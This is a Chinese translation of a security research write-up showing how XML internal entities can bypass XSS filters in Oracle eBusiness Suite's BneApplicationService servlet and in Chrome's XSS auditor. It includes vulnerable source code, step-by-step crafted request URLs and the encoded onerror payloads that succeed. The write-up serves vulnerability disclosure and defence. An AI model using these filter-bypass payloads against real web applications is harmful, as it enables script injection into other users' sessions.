http://p6.qhimg.com/t01d6c6450abf6462c3.png

简介


假如你要让Web应用在后台执行某些XML处理任务的话,那么你将很有可能受到XSS攻击(跨站脚本攻击)。我之所以会这样说,是因为安全研究人员发现,攻击者现在可以使用XML内部实体来绕过目前常见浏览器的XSS过滤器,受影响的浏览器包括Chrome、IE、以及Safari在内。当然了,这种攻击手段对火狐浏览器也同样能够奏效,但很明显火狐浏览器中并不存在XSS过滤器。


安全客小百科:XSS攻击


跨站脚本攻击(XSS)是一种经常出现在Web应用中的计算机安全漏洞,它允许Web攻击者将恶意代码植入到提供给其它用户使用的页面中,比如说HTML代码和客户端脚本等。对于跨站脚本攻击,黑客界的共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript则是一种新型的“ShellCode”。


XML实体


所谓XML实体,实际上就是一些内容占位符。它不仅可以用于内容转义,而且还可以代表一些重复的、无法通过键盘输入的、或者与XML 规范保留字相冲突的字符数据。从这一点来看,它有些似类于 C# 中的转义字符。

由此可以看出,XML实体的作用主要有以下几点:

1. 代替无法输入的字符。键盘只有26个字母和一些简单的标点符号,而字符集中有很多符号是无法通过键盘直接输入的,此时就使用实体来代替。

2. 代替一些与XML规范保留字相冲突的内容,如:“<”、“>”等。

3. 代替大段的重复文本。


绕过常见浏览器的XSS过滤器


Oracle的“eBusiness Suite”电子商务套件其v12.x以及之前版本的BneApplicationService Servlet中存在一个跨站脚本漏洞。当时,安全研究专家正在尝试寻找外部XML实体处理过程中存在的安全漏洞,但是却意外发现了这个跨站脚本漏洞。

如果我们在浏览器中发送下面这段请求:

1
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=XXX

那么我们将会得到如下所示的响应信息:

1
2
3
4
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException -
oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.
Log File Bookmark: 392699

于是,我们修改了请求,然后将其封装在了一个XML标签内:

1
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3CFOO%3EXXXXX%3C/FOO%3E

现在,我们所得到的响应信息如下所示:

1
2
3
4
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException - java.lang.ClassCastException:
oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElement
Log File Bookmark: 602808

所以接下来,我们就要尝试弄清楚相关类文件在底层到底是如何处理这些请求的。在对源代码进行了审查之后,我们在createBodyBneStyle方法中发现了下列信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML);
XMLElement localXMLElement1 =
(XMLElement)localXMLDocument.getDocumentElement();
 NodeList localNodeList = localXMLElement1.getChildNodes();
 for (int i = 0; i < localNodeList.getLength(); i++)
 {
     String str1 = "";
     String str2 = "";
     String str3 = "";
     String str4 = null;
     String str5 = null;
     Node localNode = null;
     XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i);
     NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes();
     localNode = localNamedNodeMap.getNamedItem("bne:type");
     if (localNode != null) {
         str1 = localNode.getNodeValue();
     }
     localNode = localNamedNodeMap.getNamedItem("bne:text");
     if (localNode != null) {
         str2 = localNode.getNodeValue();
     }
     localNode = localNamedNodeMap.getNamedItem("bne:value");
     if (localNode != null) {
         str3 = localNode.getNodeValue();
     }
     localNode = localNamedNodeMap.getNamedItem("bne:cause");
     if (localNode != null) {
         str4 = localNode.getNodeValue();
     }
     localNode = localNamedNodeMap.getNamedItem("bne:action");
     if (localNode != null) {
         str5 = localNode.getNodeValue();
     }
     if ((!str1.equalsIgnoreCase("DATA")) && (str2 != ""))
     {
         localStringBuffer.append("<p><b>" + str2 + "</b></p>");
         localStringBuffer.append("<p>" + str4 + "</p>");

我们可以从上面这段源码中看到,如果我们将"bne:text"设置成除"data"之外的任意字符串那么它和"bne:cause"的值将会从浏览器直接输出。这样一来,我们就可以创建一个查询字符串,而且这条查询语句不会导致XML解析发生错误。查询请求如下所示

1
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3C

http://p9.qhimg.com/t017d4ef1fcb97f2acf.png

我们可以看到,这种方法可以轻易地帮助攻击者实现一次跨站脚本攻击。接下来,让我们来进行一些简单的尝试。我们将发送“<IMG SRC=/x onerror=(1)>”,看看会发生什么事情。请求链接如下:

1
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%3CIMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

我们所获取到的响应信息如下:

1
2
3
4
Reserved program word <message><bne:a xmlns:bne="foo" bne:text="ABCDEF"
bne:cause="&lt;I ... detected.
Press the Back button and remove the reserved program word. Contact your system administrator if the
value cannot be changed.

好的,从我们所获取到的信息来看,BneApplicationService中内置有一个XSS过滤器,而这个XSS过滤器就是我们需要绕过的东西。还记得文中一开始提到的吗?我们此前曾尝试寻找XML外部实体(XXE)的处理漏洞。虽然失败了,但是在分析的过程中,我突然产生了使用内部XML实体来绕过XSS过滤器的想法。这也就意味着,我们可以将攻击代码拆分成大量的占位符,之后在情况允许的情况下再将代码进行重组,这样就可以对我们的攻击行为进行伪装,以此来躲避安全防护系统的检测。首先,让我们在请求链接中去掉“<IMG SRC=/x onerror=(1)>”中的第一个尖扣号“<”,看看会发生什么事情。请求如下:

1
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

http://p1.qhimg.com/t017fe1330351195b2f.png

好的,一切都在我们的预料之中。那么接下来,为了绕过BneApplicationService的内置过滤器,我们只需要使用一个XML内部实体来处理那个“缺失”的尖扣号即可。为此,我们添加了一个名为“xxx”的XML内部实体,然后将尖括号“<”分配给它。代码如下所示:

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx"&lt;">]>

此时的请求链接如下:

1
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%5D%3E%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

我们的“alert(1)”并没有得到执行,但这也是意料之中的事情,因为Chrome的XSS过滤器已经检测到了我们的这次攻击:

http://p3.qhimg.com/t01391691a9325be4cb.png


绕过Chrome的XSS过滤器


那么现在,我们就要想办法来绕过Chrome的XSS过滤器。当然了,我们依然可以使用XML内部实体来完成这个任务。我们为IMG和SRC的onerror事件创建了实体对象,虽然Web服务器端的XML解析器会对我们的信息进行编译处理,但是Chrome浏览器端并不会将其视作一次XSS攻击。我们所构建的请求如下:

1

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%3C%21ENTITY%20yyy%20%22IMG%22%3E%3C%21ENTITY%20zzz%20%22SRC%22%3E%3C%21ENTITY%20ppp%20%22one%22% 

3E%5D%3E%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;%26yyy;%20%26zzz;=/x%20%26ppp;rror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

http://p3.qhimg.com/t01cb1a9dcda654ab74.png

实验结果如上图所示。

我们的测试环境如下:

-火狐浏览器(版本号47)

-Chrome浏览器(版本号51)

-IE 11浏览器

-Safari 9.1.1



本文由 安全客 翻译
原文链接:http://www.davidlitchfield.com/BypassingXSSFiltersusingXMLInternalEntities.pdf